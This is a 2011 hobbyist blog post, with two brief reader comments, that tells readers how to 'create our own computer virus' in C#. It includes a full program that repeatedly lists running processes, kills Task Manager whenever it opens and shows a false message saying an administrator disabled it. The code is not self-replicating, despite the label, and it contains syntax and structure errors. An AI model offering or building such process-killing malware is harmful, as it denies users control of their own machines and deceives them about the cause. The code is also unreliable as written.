Monday, March 21, 2011

Create our own Computer virus

Hi guys ..
Today I will be discussing about viruses ..
 
A computer virus is a computer program that can copy itself and infect a computer. The term "virus" is also commonly but erroneously used to refer to other types of malware including but not limited to adware and spyware  programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk,CD,DVD, or USB drive

So this is definition which you find in the google , you can code your own viruses , yes it is very simple to code  to your own viruses friends .  I will not give the complete code of the virus but i will explain a pseudo code first and then i will be writing  a small virus program which will not allow task manager from executing .. 


So here we go .. First i recommend C# language for coding  simple viruses and but you can also use python , perl , php or  any language of your choice for coding your own virus ..

Step 1)  First start your VS 2008 or 2010 create a windows form application and give your own.

Step 2) You need to Import two name spaces for creating viruses 
                              a)System.Diagnostics 
                              b)System.Timer

Step 3) After Import the namespaces first you need to  create a object for Timer class 
                                            eg:-Timer timer = new Timer();

            After this you need to specify the attributes of the timer to your desired values like Elapsed , autoreset , and interval .. After specifyting the timer attributes now it is the time to kill the process which are Running on your machine 
Step 4) Listing the process . For Listing the process on our machine you need to use Process class .
                            eg:- Process[] Myprocess =  Process.GetProcess();
                            This will get all the running process on your machine and after getting all the process you can  now kill any process or suspend any process using Kill () function 


Small Virus code :- 

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Timers;
using Microsoft.Win32;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace viruses
{
    public partial class Form1 : Form
    {
  
     
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
          
           
            System.Timers.Timer timer;
            timer = new System.Timers.Timer(100000);
            timer.Elapsed += new ElapsedEventHandler(OnTimedEvent);
            timer.AutoReset = true;
            timer.Interval = 60;
            timer.Start();

}
}
 Public static void OnTimedEvent(Object source , EventArgs e)
{
Process[] ProcessList = Process.GetProcesses();
            foreach (Process proc in ProcessList)
            {

                if (proc.ProcessName.Contains("taskmgr"))
                {
                   proc.Kill();
                   MessageBox.Show("Task Manager Has Been Disabled By Administrator");
               }

}
}
}


Hope you Gained some knowledge from my blog , will be posting a lot so keep on visiting  Guys .. If you dont like anything or incase of any queries please feel free to comment ..

2 comments:

Harry said...

Good .. Keep Posting

Unknown said...

have done ur good job ra........
keep posting.......

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Vamshi krishnam raju | Bloggerized by Vamshi krishnam raju - Vamshi krishnam raju | Vamshi krishnam raju